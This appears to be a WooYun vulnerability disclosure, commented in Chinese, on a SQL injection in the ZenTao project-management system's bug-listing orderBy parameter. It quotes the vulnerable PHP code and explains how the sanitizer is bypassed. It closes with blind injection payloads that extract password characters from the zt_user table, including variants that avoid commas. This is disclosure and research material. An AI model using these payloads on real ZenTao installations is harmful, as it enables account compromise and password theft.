WooYun.org

public function browse($productID = 0, $browseType = 'unclosed', $param = 0, $orderBy = '', $recTotal = 0, $recPerPage = 20, $pageID = 1)
    {
		.... 省略不想关内容.....
        /* Process the order by field. */
        if(!$orderBy) $orderBy = $this->cookie->qaBugOrder ? $this->cookie->qaBugOrder : 'id_desc';
        setcookie('qaBugOrder', $orderBy, $this->config->cookieLife, $this->config->webRoot);
        /* Append id for secend sort. */
        $sort = $this->loadModel('common')->appendOrder($orderBy);
        /* Load pager. */
        $this->app->loadClass('pager', $static = true);
        if($this->app->getViewType() == 'mhtml') $recPerPage = 10;
        $pager = pager::init($recTotal, $recPerPage, $pageID);
        $projects = $this->loadModel('project')->getPairs();
        $projects[0] = '';
        /* Get bugs. */
        $bugs = array();
		// 当browseType为all时，sort 会进入getAllBugs
        if($browseType == 'all') $bugs = $this->bug->getAllBugs($productID, $projects, $sort, $pager);
        elseif($browseType == "bymodule")
        {
            $childModuleIds = $this->tree->getAllChildId($moduleID);
            $bugs = $this->bug->getModuleBugs($productID, $childModuleIds, $projects, $sort, $pager);
        }
        .... 省略不想关内容.....
        $this->display();
    }

public function getAllBugs($productID, $projects, $orderBy, $pager = null)
    {
        $bugs = $this->dao->select('t1.*, t2.title as planTitle')
            ->from(TABLE_BUG)->alias('t1')
            ->leftJoin(TABLE_PRODUCTPLAN)->alias('t2')->on('t1.plan = t2.id')
            ->where('t1.product')->eq($productID)
            ->andWhere('t1.project')->in(array_keys($projects))
            ->andWhere('t1.deleted')->eq(0)
            ->orderBy($orderBy)->page($pager)->fetchAll(); 
        $this->loadModel('common')->saveQueryCondition($this->dao->get(), 'bug');
        return $bugs;
    }

//https://**.**.**.**/easysoft/zentaopms/blob/master/lib/dao/dao.class.php#L1616
    public function orderBy($order)
    {
        if($this->inCondition and !$this->conditionIsTrue) return $this;
		//替换orderby里的| _,因为表名的默认前缀为zt_ 所以语句中不能带入表名。
        $order  = str_replace(array('|', '', '_'), ' ', $order);
        /* Add "`" in order string. */
        /* When order has limit string. */
		//语句中如果有limit 那么语句将会截断，后面会再次拼接。
        $pos    = stripos($order, 'limit');
        $orders = $pos ? substr($order, 0, $pos) : $order;
        $limit  = $pos ? substr($order, $pos) : '';
        $orders = explode(',', $orders);
		//在这里限制了语句中不能有逗号。
        foreach($orders as $i => $order)
        {
            $orderParse = explode(' ', trim($order));
            foreach($orderParse as $key => $value)
            {
                $value = trim($value);
                if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;
                $field = trim($value, '`');
                /* such as t1.id field. */
				//这里是关键，如果$value里包含点号。那么只有后面的部分被加入``。
                if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
                $field = "`$field`";
                $orderParse[$key] = isset($table) ? $table . '.' . $field :  $field;
                unset($table);
            }
            $orders[$i] = join(' ', $orderParse);
        }
		//拼接之前的limit
        $order = join(',', $orders) . ' ' . $limit;
        $this->sql .= ' ' . DAO::ORDERBY . " $order";
        return $this;
    }

order by if((select ord(substring(password,1,1)) from zt_user)=51,id,assignedto) # asc

// substring 改为 from x for x 的形式
order by if((select ord(substring(password from 1 for 1)) from zt_user)=51,id,assignedto) # asc
// if 语句用 case when ... then ... else ... end 代替
order by CASE WHEN (select ord(substring(password from 1 for 1)) from zt_user)=51 THEN id ELSE assignedto END) #asc